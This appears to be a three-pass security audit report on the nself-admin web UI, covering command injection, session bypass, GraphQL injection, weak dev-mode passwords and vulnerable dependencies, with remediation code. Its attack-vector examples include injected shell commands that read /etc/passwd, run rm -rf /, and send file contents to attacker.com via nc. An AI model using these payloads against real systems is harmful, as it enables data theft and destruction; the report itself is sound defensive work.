Repository navigation
SECURITY_AUDIT
Audit Date: January 24, 2026 Version Audited: v0.0.8 Audit Type: Full 3-Pass Security Review Audited Components: Authentication, API Routes, OWASP Top 10
This document contains the consolidated findings from three independent security audits of the nself-admin codebase. The application is a web UI wrapper for the nself CLI that manages Docker container operations, database backups, deployments, and cloud infrastructure.
| Severity | Count | Primary Categories |
|---|---|---|
| CRITICAL | 10 | Command Injection (7), Auth Bypass (2), Plain Text Passwords (1) |
| HIGH | 12 | Input Validation (4), Auth Gaps (3), Injection (3), Dependencies (2) |
| MEDIUM | 11 | Rate Limiting (2), CORS (1), Headers (2), Secrets (3), Other (3) |
| LOW | 8 | Logging (2), Config (3), Code Quality (3) |
- Command Injection is the #1 Risk - Multiple API routes concatenate user input directly into shell commands
- Session validation bypass in middleware - Only checks cookie existence, not validity
- Vulnerable dependencies - tar, lodash, js-yaml have known CVEs
- GraphQL arbitrary query execution - Authenticated users can execute any query with admin privileges
File: src/app/api/nself/route.ts
Lines: 49-61
const fullCommand = `nself ${command} ${args.join(' ')}`
const { stdout, stderr } = await execAsync(fullCommand, { cwd: projectPath })Issue: The args array from user input is joined and passed directly to exec(). While command is validated against an allowlist, args is NOT validated.
Attack Vector:
POST /api/nself
{ "command": "status", "args": ["; cat /etc/passwd #"] }Remediation: Use execFile() with proper argument arrays instead of exec() with string concatenation.
File: src/app/api/env/route.ts
Lines: 162-197
command = `nself env create ${name} ${template || 'local'}${force ? ' --force' : ''}`
command = `nself env switch ${name}`
command = `nself env delete ${name}${force ? ' --force' : ''}`Issue: name and template parameters come directly from JSON input without sanitization.
Attack Vector:
{ "action": "create", "name": "test; rm -rf / #", "template": "local" }Remediation: Validate name against strict regex (alphanumeric + hyphens only) and use execFile().
File: src/app/api/storage/minio/route.ts
Lines: 428-594
// Line 484-485 - MOST DANGEROUS
await execAsync(`docker exec nself_minio sh -c "echo '${content}' > ${tempFile}"`)
// Line 560-561 - User credentials in command
const { stdout } = await execAsync(
`docker exec nself_minio mc admin user add minio ${user} ${password}`
)Issue: Multiple functions use exec() with string concatenation from user input.
Attack Vector:
{
"action": "uploadObject",
"content": "'; cat /etc/passwd | nc attacker.com 1234; echo '"
}Remediation: Use execFile() with array arguments or Docker SDK for container operations.
File: src/app/api/deploy/route.ts
Lines: 63-100
command = `nself deploy ${environment}`
command = `nself deploy rollback${environment ? ` ${environment}` : ''}`Issue: environment parameter is concatenated directly into shell commands.
Remediation: Validate environment against allowlist: ['staging', 'production', 'development'].
Files:
-
src/app/api/cloud/servers/[name]/route.ts(Lines 25-28, 91-95) -
src/app/api/cloud/servers/create/route.ts(Lines 36-44)
const command = `nself cloud server status ${name} --json`
const command = `nself cloud server destroy ${name} --yes`
let command = `nself cloud server create ${provider} --name=${name} --size=${size} --region=${region}`Remediation: Validate all parameters against strict patterns and use execFile().
Files:
-
src/app/api/k8s/logs/route.ts(Lines 30-39) -
src/app/api/helm/install/route.ts(Lines 33-52)
// K8s logs - pod, namespace, container all from user input
const args: string[] = ['k8s', 'logs', pod]
if (namespace) args.push(`--namespace=${namespace}`)
// Helm install - values path could be path traversal
if (values) args.push(`--values=${values}`)Remediation: Validate parameters; restrict values to specific directories.
File: src/app/api/environments/[name]/route.ts
Lines: 21-27, 71-77
const { stdout } = await execAsync(`${nselfPath} deploy environments ${name} --json`)
// Line 71-73 - Environment variable values unvalidated
Object.entries(body.env).forEach(([key, value]) => {
args.push(`--env=${key}=${value}`)
})Remediation: Use execFile() and validate all inputs.
File: src/app/api/graphql/hasura/route.ts
Lines: 45-72, 414-442
if (action === 'execute') {
return await executeGraphQL(query, variables) // No validation!
}
async function executeGraphQL(query: string, variables?: unknown) {
const response = await fetch(HASURA_ENDPOINT, {
headers: {
'X-Hasura-Admin-Secret': HASURA_ADMIN_SECRET, // Admin privileges
},
body: JSON.stringify({ query, variables }),
})
}Issue: Authenticated users can execute ANY GraphQL query/mutation with admin privileges.
Remediation: Remove or heavily restrict; implement query allowlisting.
File: src/middleware.ts
Lines: 60-62
// For now, accept any session token that exists
// Validation happens in the API routes themselves since Edge Runtime
// doesn't support Node.js modules needed for database accessIssue: Middleware only checks cookie EXISTENCE, not VALIDITY. An attacker can set any cookie value and bypass page-level protection.
Remediation:
- Implement session validation via internal API call from middleware
- Use signed JWT tokens that can be validated without database
- Store validation hash that can be verified cryptographically
File: src/lib/env-loader.ts
Lines: 89-91, 110-112
if (isDevEnv) {
lines.push(`ADMIN_PASSWORD=${password}`) // Plain text!
}
if (isDevEnv && adminPassword) {
return password === adminPassword // Plain text comparison
}Issue: Development mode stores and compares passwords in plain text, vulnerable to timing attacks.
Remediation: Always hash passwords, even in development.
File: src/app/api/graphql/hasura/route.ts
Lines: 181-195
const columnsQuery = `
query GetColumns {
information_schema_columns(
where: {
table_name: { _eq: "${table.table_name}" } // Direct interpolation!
}
) { ... }
}
`Remediation: Use GraphQL variables: query GetColumns($tableName: String!) { ... }.
File: src/app/api/wizard/update-env-var/route.ts
Lines: 6-75
const { key, value, remove = false, environment } = await req.json()
// No validation of key format or environment path
const envFileName = environment ? `.env.${environment}` : '.env.local'Issue: environment could contain path traversal (e.g., ../../../etc/cron.d/backdoor).
Remediation: Validate environment against allowlist; validate key format.
File: src/app/api/env/route.ts
Lines: 162-191
User-supplied name, env1, env2 parameters are used in shell commands without validation.
Routes not in PROTECTED_API_ROUTES that should be:
-
/api/backup/*- Backup/restore operations -
/api/deploy/*- Deployment operations -
/api/environments/*- Environment configuration -
/api/cloud/*- Cloud provider operations -
/api/k8s/*- Kubernetes operations -
/api/helm/*- Helm operations -
/api/frontend/*- Frontend deployment -
/api/benchmark/*- Benchmark operations -
/api/logs/*- Log streaming -
/api/version(POST can trigger updates)
Remediation: Add these routes to PROTECTED_API_ROUTES in middleware.
File: src/app/api/debug/log/route.ts
Debug logging endpoint is in PUBLIC_ROUTES with comment "dev only" but NO environment check.
Remediation: Add if (process.env.NODE_ENV !== 'development') return 404 or remove from PUBLIC_ROUTES.
Package: tar (7.4.3 via @tailwindcss/oxide)
CVEs: CVE-2026-23745, CVE-2026-23950
Issue: Arbitrary File Overwrite and Symlink Poisoning via insufficient path sanitization
Remediation: Update @tailwindcss dependencies or override tar version.
Package: lodash (4.17.21)
CVE: CVE-2025-13465
Issue: Prototype pollution in _.unset and _.omit functions
Remediation: Upgrade to 4.17.23.
File: src/lib/auth-db.ts
Lines: 16, 27-30
const MIN_PASSWORD_LENGTH_DEV = 3Issue: Development mode allows 3-character passwords. Misconfiguration could enable this in production.
Remediation: Increase minimum to 8 characters even in development.
File: src/lib/auth-db.ts
Lines: 154-169
const hostname = process.env.HOSTNAME || 'localhost' // Defaults to dev mode!
const isDevHostname = devPatterns.some((pattern) => pattern.test(hostname))Issue: Development mode triggers from hostname patterns which can be spoofed via environment variable.
Remediation: Use only NODE_ENV for security decisions.
File: src/lib/rateLimiter.ts
Lines: 8-9
const rateLimitStore = new Map<string, RateLimitEntry>()Issue: Rate limits reset on server restart and aren't shared across instances.
Remediation: Implement Redis-backed rate limiting for production.
File: src/lib/csrf.ts
Lines: 21-27, 48-75
export function generateCSRFToken(): string {
const array = new Uint8Array(CSRF_TOKEN_LENGTH)
crypto.getRandomValues(array)
// Token is not tied to session
}Issue: CSRF tokens are independent of sessions. An attacker who can read cookies (via XSS) could forge requests.
Remediation: Bind CSRF tokens to session tokens using HMAC.
Multiple Files
return NextResponse.json({
success: false,
error: 'Deployment action failed',
details: execError.message || 'Unknown error',
stdout: execError.stdout || '',
stderr: execError.stderr || '', // Exposes system paths, credentials
})Remediation: Sanitize error messages in production; log details server-side only.
File: src/lib/sessions.ts
Lines: 9-10
Sessions stored in memory Map - lost on restart, not shared across instances.
File: src/lib/csrf.ts
Lines: 8-16
Origin patterns only include localhost-style domains - ineffective in production.
File: src/app/api/auth/login/route.ts
Lines: 114-120
secure: process.env.NODE_ENV === 'production' - could leak session over HTTP in dev with HTTPS.
API routes accepting JSON bodies don't enforce size limits - potential DoS vector.
Files:
-
src/app/api/graphql/hasura/route.ts(Lines 5-6) -
src/app/api/config/env/route.ts(Lines 31-41)
const HASURA_ADMIN_SECRET = process.env.HASURA_GRAPHQL_ADMIN_SECRET || 'myadminsecretkey'Remediation: Remove fallback values; fail if secrets not configured.
Package: js-yaml (4.1.0)
CVE: CVE-2025-64718
Issue: Prototype pollution via merge operator
Remediation: Upgrade to 4.1.1.
Package: mdast-util-to-hast (>=13.0.0 <13.2.1)
CVE: CVE-2025-66400
Issue: Unsanitized class attribute
Remediation: Upgrade to 13.2.1+.
File: src/lib/auth-db.ts
Lines: 144-146
Only deletes current session - no "logout all devices" or session invalidation on password change.
File: src/lib/auth-db.ts
Lines: 117-118, 133
Audit logs store IP addresses and user agents (PII under GDPR).
File: src/app/api/auth/login/route.ts
Different error messages for "password not set" vs "invalid password" reveal system state.
File: src/lib/rateLimiter.ts
5 attempts per 15 minutes, then reset. No permanent lockout - allows slow brute force indefinitely.
Multiple files use console.log() which may expose sensitive info in production logs.
Current headers:
response.headers.set('X-Content-Type-Options', 'nosniff')
response.headers.set('X-Frame-Options', 'DENY')
response.headers.set('X-XSS-Protection', '1; mode=block')Missing:
Content-Security-Policy-
Strict-Transport-Security(HSTS) Referrer-PolicyPermissions-Policy
Password validation duplicated across:
src/lib/auth.tssrc/lib/auth-db.tssrc/lib/env-loader.ts
Increases risk of inconsistent enforcement.
File: src/app/api/auth/csrf/route.ts
Token returned in both response body AND cookie - redundant exposure.
File: src/lib/auth.ts
Regex only allows @$!%*?& special characters - may reject valid strong passwords.
const _execAsync = promisify(exec) // Reserved for future use
const _MINIO_ACCESS_KEY = MINIO_ACCESS_KEYFile: src/app/api/debug/session/route.ts
Exposes session information (correctly checks NODE_ENV but shouldn't exist in production build).
File: src/app/api/backup/route.ts
Uses normalize() which may not catch all Windows edge cases.
The codebase demonstrates security awareness in several areas:
-
CSRF Protection - Constant-time comparison implemented (
src/lib/csrf.ts) -
Input Validation - Zod schemas for request validation (
src/lib/validation.ts) -
Password Hashing - bcryptjs with 12 salt rounds (
src/lib/auth-db.ts) - Session Security - httpOnly cookies with SameSite=Strict
- Path Traversal Checks - Environment file operations include path resolution
- Audit Logging - Login attempts and operations are logged
- Secure Token Generation - crypto.randomBytes for session tokens
-
Some Routes Use execFile -
/api/cli/execute/route.tscorrectly usesexecFile() -
Command Allowlist - nself CLI commands validated against allowlist (
src/lib/nselfCLI.ts)
- Fix ALL command injection vulnerabilities (CRIT-1 through CRIT-7)
- Fix session validation bypass in middleware (CRIT-9)
- Update vulnerable dependencies (HIGH-6, HIGH-7, MED-6, MED-7)
- Add missing routes to
PROTECTED_API_ROUTES(HIGH-4) - Remove or restrict GraphQL execution endpoint (CRIT-8)
- Remove plain text password storage (CRIT-10)
- Fix GraphQL injection (HIGH-1)
- Add environment validation in wizard routes (HIGH-2)
- Remove debug endpoints from production (HIGH-5)
- Increase dev password requirements (HIGH-8)
- Implement Redis-backed rate limiting (HIGH-10)
- Bind CSRF tokens to sessions (HIGH-11)
- Sanitize error messages (HIGH-12)
- Fix development mode detection (HIGH-9)
- Address all MEDIUM issues
- Address LOW issues
- Implement security testing in CI/CD
- Regular dependency updates
- Security headers review
Before (Vulnerable):
const { stdout } = await execAsync(`nself ${command} ${args.join(' ')}`)After (Safe):
import { execFile } from 'child_process'
import { promisify } from 'util'
const execFileAsync = promisify(execFile)
// Validate command against allowlist
const allowedCommands = ['status', 'start', 'stop', 'build']
if (!allowedCommands.includes(command)) {
return NextResponse.json({ error: 'Invalid command' }, { status: 400 })
}
// Validate each argument against strict pattern
const argPattern = /^[a-zA-Z0-9_-]+$/
if (!args.every((arg) => argPattern.test(arg))) {
return NextResponse.json({ error: 'Invalid argument' }, { status: 400 })
}
// Use execFile with array arguments
const { stdout } = await execFileAsync('nself', [command, ...args], {
cwd: projectPath,
})Before (Vulnerable):
const sessionToken = request.cookies.get('nself-session')?.value
if (!sessionToken) {
return NextResponse.redirect(new URL('/login', request.url))
}
// No validation of token value!After (Safe):
const sessionToken = request.cookies.get('nself-session')?.value
if (!sessionToken) {
return NextResponse.redirect(new URL('/login', request.url))
}
// Call internal API to validate session
const validationResponse = await fetch(`${request.nextUrl.origin}/api/auth/validate`, {
headers: { Cookie: `nself-session=${sessionToken}` },
})
if (!validationResponse.ok) {
return NextResponse.redirect(new URL('/login', request.url))
}# Update lodash
pnpm update lodash@^4.17.23
# Update js-yaml
pnpm update js-yaml@^4.1.1
# Check for tar updates (transitive)
pnpm update @tailwindcss/postcss @tailwindcss/oxide
# Run audit after updates
pnpm auditThe nself-admin codebase has a solid foundation with proper authentication patterns, CSRF protection, and input validation frameworks. However, the extensive use of shell command execution with user input creates significant command injection risks that must be addressed before production deployment.
The 10 CRITICAL and 12 HIGH severity issues identified should be prioritized for immediate remediation. The security of this application directly impacts the infrastructure it manages, making these fixes essential.
Report Generated: January 24, 2026 Audited By: Security Audit Team (3-Pass Review) Next Audit: Recommended before v0.1.0 release
Version: 1.0.0 | Updated: 2026-10-19 11:40 UTC | GitHub